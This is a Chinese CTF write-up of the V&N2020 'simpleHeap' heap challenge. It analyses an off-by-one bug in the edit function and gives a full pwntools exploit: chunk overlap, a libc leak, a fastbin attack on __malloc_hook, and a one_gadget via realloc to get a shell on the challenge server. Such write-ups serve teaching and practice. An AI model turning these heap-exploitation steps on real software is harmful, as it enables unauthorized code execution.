ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

【pwn】V&N2020 公开赛 simpleHeap

2021-08-27 11:31:22  阅读:271  来源: 互联网

标签:index simpleHeap libc hook pwn N2020 data sla lambda


【pwn】V&N2020 公开赛 simpleHeap

1、静态分析

image-20210826132343879

首先libc版本是ubuntu16的2.23版本,可以去buu的资源处下载

然后checksec一下,保护全开

image-20210826132452204

拖入IDA中分析

去除了符号表,通过menu函数分析出有add、edit、show、delete

image-20210826132629156

1.add()

image-20210826132918910

add函数分析一遍,发现没什么漏洞,就是普普通通的输入一个需要申请的size(空间大小),然后再向这个malloc的空间中输入content(内容),其中size不能大于111(0x6F)。

2.edit()

image-20210826133351437

edit的功能就是输入一个index,然后修改这个index的内容。

问题出在了in(我自己重命名的)这个函数上,这个函数的功能是给prt[index]读入Size[index]大小的内容,但是我们进入这个函数看一看

image-20210826133649987

其中红框的部分造成了off-by-one的漏洞,如果i == length那么其实会多写入一个字节,利用这个漏洞我们可以去篡改物理相邻的下一个chunk的size字段的最后一个字节,也就是给这个chunk的size给重写

3.show()

image-20210826134009305

show函数就是把我们想要的index的content打印出来

没有漏洞存在

4.delete()

image-20210826134103431

delete函数不仅free了ptr,还把ptr置为了NULL,不存在UAF和double free的漏洞

2、漏洞利用

分析完了上述的4种主要函数,发现能够利用的漏洞只有edit中的off-by-one一个点。那么如何通过这一个off-by-one的漏洞来获取shell呢?

exp如下:

from pwn import *
from LibcSearcher import *
# context.log_level="DEBUG"

def ret2libc(leak,func,path=""):
   if path == "":
       libc = LibcSearcher(fun,leak)
       base = leak - libc.dump(func)
       system = base + libc.dump("system")
       binsh = base + libc.dump("str_bin_sh")
   else:
       libc = ELF(path)
       libc.address = leak - libc.sym[func]
       system = libc.sym["system"]
       binsh = next(libc.search(b"/bin/sh"))
   return (system,binsh)

s = lambda data : io.send(data)
sa = lambda str1,data : io.sendafter(str1,data)
sl = lambda data : io.sendline(data)
sla = lambda str1,data : io.sendlineafter(str1,data)
r = lambda num : io.recv(num)
ru = lambda data,drop=True : io.recvuntil(data,drop)
ia = lambda : io.interactive()
uu32 = lambda data : u32(data.ljust(4,b"\x00"))
uu64 = lambda data : u64(data.ljust(8,b"\x00"))
leak = lambda name,addr : log.success('{} = {:#x}'.format(name, addr))
dbg = lambda : gdb.attach(io)

# io = process("./vn_pwn_simpleHeap")
io = remote("node4.buuoj.cn",27610)
elf = ELF("./vn_pwn_simpleHeap")
libc = ELF("./libc-2.23.so")

def add(size,content="a"):
   sla(":","1")
   sla("?",str(size))
   sa(":",content)

def edit(index,content):
   sla(":","2")
   sla("?",str(index))
   sla(":",content)

def show(index):
   sla(":","3")
   sla("?",str(index))

def free(index):
   sla(":","4")
   sla("?",str(index))

# start
add(0x18) # 0
add(0x68) # 1
add(0x68) # 2
add(0x18) # 3

edit(0,b"a"*0x18+b"\xe1") # 篡改1的size为e1,欺骗unsoted bin回收 1和2 这一个整体
free(1) # unsorted bin 回收了 1和2 这一块内存空间,但是 2 的指针仍然存在
add(0x68) # 将 1 从unsorted bin中分割出来,剩下的一半2仍然再unsorted bin中,用来泄露libc
show(2) # 用 2 来泄露main arean的地址,再减去0x10泄露出malloc_hook的地址,进而泄露出libc地址
base = uu64(r(6))- 88 - 0x10 - libc.sym["__malloc_hook"]
leak("base",base)
malloc_hook = base + libc.sym["__malloc_hook"]

add(0x60) # 4 <-> 2
free(3)
free(2)
edit(4,p64(malloc_hook-0x23)) # 将 2 的fd指针改为 malloc_hook - 0x23,这里其实是一个欺骗fastbin的位置,因为这里的size是0x7f,属于fastbin的范围
add(0x60) # 将 2 重新申请回来,此时的2的fd指针已经改写为了fake chunk的地址

payload = b"a"*11+p64(base+0x4526a)+p64(base+libc.sym["__libc_realloc"]+0xc) # 通过one_gadget来获取shell,但是这里选择的one_gadget rsp+0x30 == null无法满足,所以要去realloc中通过push、pop操作(也就是rsp+0x30-5*8==null)来满足条件,最后将one_gadget写入realloc_hook中

add(0x60,payload)
sla(":","1")
sla("?","1") # malloc发现malloc_hook不为空,去调用malloc_hook里面的realloc+0xc,realloc发现realloc_hook不为空,可以执行realloc下面一系列的pop操作,调节了栈帧,满足了one_gadget的条件,最后调用了realloc_hook中的one_gadeget从而获取了shell

ia()



标签:index,simpleHeap,libc,hook,pwn,N2020,data,sla,lambda
来源: https://www.cnblogs.com/woodwhale/p/15193050.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有